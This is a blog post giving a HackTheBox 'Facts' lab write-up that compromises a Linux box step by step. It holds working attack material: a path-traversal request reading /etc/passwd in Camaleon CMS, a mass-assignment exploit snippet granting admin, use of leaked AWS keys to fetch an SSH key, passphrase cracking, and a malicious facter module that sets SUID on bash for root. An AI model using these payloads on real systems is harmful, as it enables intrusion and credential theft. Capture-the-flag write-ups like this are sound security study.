DEV Community

Cover image for HackTheBox - Facts Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox - Facts Writeup

Difficulty: Easy
OS: Linux


Reconnaissance

Nmap

nmap -sCV-A-p- <MACHINE-IP>
Enter fullscreen modeExit fullscreen mode
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
Enter fullscreen modeExit fullscreen mode

Two open ports — SSH and nginx on port 80.

/etc/hosts

echo"<MACHINE-IP> facts.htb">> /etc/hosts
Enter fullscreen modeExit fullscreen mode

Web Enumeration

Visiting port 80 presents a Camaleon CMS trivia site. The /admin path redirects to /admin/login, which has self-registration enabled.

feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirb/big.txt -d 3 -C 403,404
Enter fullscreen modeExit fullscreen mode
302 http://facts.htb/admin =>http://facts.htb/admin/login
200 http://facts.htb/ajax
Enter fullscreen modeExit fullscreen mode

Navigating to /admin/login and clicking "Create an account" creates a working low-privilege CMS account. After logging in, the footer reveals Camaleon CMS Version 2.9.0.


Initial Access — LFI via CVE-2024-46987

Camaleon CMS < 2.9.1 is vulnerable to a path traversal in the download_private_file media endpoint. Any authenticated user, regardless of role, can read arbitrary files from the server filesystem.

GET http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd
Enter fullscreen modeExit fullscreen mode

This returns the contents of /etc/passwd, confirming arbitrary file read. Relevant system users:

root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Enter fullscreen modeExit fullscreen mode

Foothold — CMS Admin via CVE-2025-2304 (Mass Assignment)

Camaleon CMS < 2.9.1 is also vulnerable to mass assignment in the updated_ajax password-change endpoint. The controller uses Rails' dangerous permit! method which allows all parameters through without any filtering — including role.

Injecting password[role]=admin into the password change POST request escalates a low-privilege account to full CMS admin.

Exploit script (exploit.py):

update_data={"_method":"patch","authenticity_token":auth_token,"password[password]":password,"password[password_confirmation]":password,"password[role]":"admin",}session.post(submit_url,data=update_data)
Enter fullscreen modeExit fullscreen mode

Running the exploit:

python3 exploit.py -t http://facts.htb -utest-ptest
Enter fullscreen modeExit fullscreen mode
[+] Login successful
[+] Got profile page
[i] Version 2.9.0 — appears vulnerable (< 2.9.1)
[+] Got CSRF token: E9u8O-QxqReFdXp6FbaD...
[*] Sending privilege escalation request to http://facts.htb/admin/users/5/updated_ajax ...
[+] Done! Role should now be 'admin' — try refreshing your session.
Enter fullscreen modeExit fullscreen mode

After refreshing the session, the full admin navigation is available including Settings, Users, Plugins, and Appearance.


AWS S3 Credential Leak

Navigating to Settings → General Site → Filesystem Settings exposes AWS S3 credentials stored in plaintext in the CMS configuration:

AWSAccessKeyID:AKIA604F64A80C48D2DFAWSSecretAccessKey:/Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDoBucketName:randomfactsRegion:us-east-1Endpoint:http://localhost:54321
Enter fullscreen modeExit fullscreen mode

The endpoint points to a LocalStack instance running locally on the target. Since port 54321 is bound to localhost on the box, it is accessed via facts.htb:54321 after adding the host entry. Configuring the AWS CLI with the leaked credentials:

aws configure
# AWS Access Key ID: AKIA604F64A80C48D2DF# AWS Secret Access Key: /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo# Default region name: us-east-1# Default output format: json
Enter fullscreen modeExit fullscreen mode

Listing all buckets:

aws --endpoint-url http://facts.htb:54321 s3 ls
Enter fullscreen modeExit fullscreen mode
2025-09-11 internal
2025-09-11 randomfacts
Enter fullscreen modeExit fullscreen mode

A non-public internal bucket exists alongside the expected randomfacts bucket. Listing it recursively:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --recursive
Enter fullscreen modeExit fullscreen mode
2026-06-10 .ssh/authorized_keys
2026-06-10 .ssh/id_ed25519
Enter fullscreen modeExit fullscreen mode

An SSH private key is present. Downloading it:

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .chmod 600 id_ed25519
Enter fullscreen modeExit fullscreen mode

SSH — Cracking the Key Passphrase

Attempting to use the key immediately prompts for a passphrase, confirming it is encrypted:

ssh-keygen -y-f id_ed25519
# Enter passphrase for "id_ed25519":
Enter fullscreen modeExit fullscreen mode

Converting to john format and cracking against rockyou:

ssh2john id_ed25519 > hash.john
john hash.john --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen modeExit fullscreen mode
dragonballz (id_ed25519)
1g 0:00:02:42 DONE
Enter fullscreen modeExit fullscreen mode

Passphrase cracked: dragonballz

Connecting as trivia (identified earlier via the LFI on /etc/passwd):

ssh -i id_ed25519 trivia@<MACHINE-IP>
# Enter passphrase for key 'id_ed25519': dragonballz
Enter fullscreen modeExit fullscreen mode
trivia@facts:~$iduid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Enter fullscreen modeExit fullscreen mode

User Flag

trivia@facts:~$ cat /home/william/user.txt
Enter fullscreen modeExit fullscreen mode
HTB{REDACTED}
Enter fullscreen modeExit fullscreen mode

Privilege Escalation to Root — Facter Custom Module

Checking sudo permissions for the current user:

sudo-l
Enter fullscreen modeExit fullscreen mode
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Enter fullscreen modeExit fullscreen mode

facter is a Puppet system facts tool that supports loading custom Ruby fact modules via the --custom-dir flag. Running it under sudo with a controlled directory allows arbitrary Ruby execution as root.

Creating a malicious fact module that sets the SUID bit on /usr/bin/bash:

echo'Facter.add("evil") {setcode { `chmod +s /usr/bin/bash` } }'> evil.rb
Enter fullscreen modeExit fullscreen mode

Running facter with the custom module:

sudo /usr/bin/facter --custom-dir ~ evil
Enter fullscreen modeExit fullscreen mode

Verifying the SUID bit was set:

ls-la /usr/bin/bash
# -rwsr-sr-x 1 root root ... /usr/bin/bash
Enter fullscreen modeExit fullscreen mode

Spawning a root shell with bash's -p flag (preserve effective UID):

bash -p
Enter fullscreen modeExit fullscreen mode
bash-5.2#whoamiroot
Enter fullscreen modeExit fullscreen mode

Root Flag

bash-5.2# cat /root/root.txt
Enter fullscreen modeExit fullscreen mode
HTB{REDACTED}
Enter fullscreen modeExit fullscreen mode

Credentials Summary

UserCredentialSource
trivia (CMS)test / testSelf-registration
trivia (SSH)id_ed25519 / dragonballzInternal S3 bucket + john
rootfacter sudo SUID trick

Key Vulnerabilities

#VulnerabilityImpact
1CVE-2024-46987 — Camaleon CMS path traversal in download_private_fileArbitrary file read as web user
2CVE-2025-2304 — Camaleon CMS mass assignment via permit! in updated_ajaxRole escalation to CMS admin
3AWS S3 credentials exposed in CMS filesystem settingsAccess to internal LocalStack bucket
4SSH private key stored in internal S3 bucket with weak passphraseShell as trivia
5sudo /usr/bin/facter --custom-dir (NOPASSWD) with controllable RubyRoot via SUID bash

Attack Chain

Self-Registration → Low-Privilege CMS Account
→ CVE-2024-46987 LFI → /etc/passwd (user enumeration)
→ CVE-2025-2304 Mass Assignment → CMS Admin Role
→ Settings Panel → AWS S3 Credentials (plaintext)
→ LocalStack S3 → internal bucket → id_ed25519
→ john + rockyou → passphrase: dragonballz
→ SSH as trivia
→ sudo facter --custom-dir (NOPASSWD)
→ Custom Ruby Fact → chmod +s /usr/bin/bash
→ bash -p → root
Enter fullscreen modeExit fullscreen mode

Top comments (0)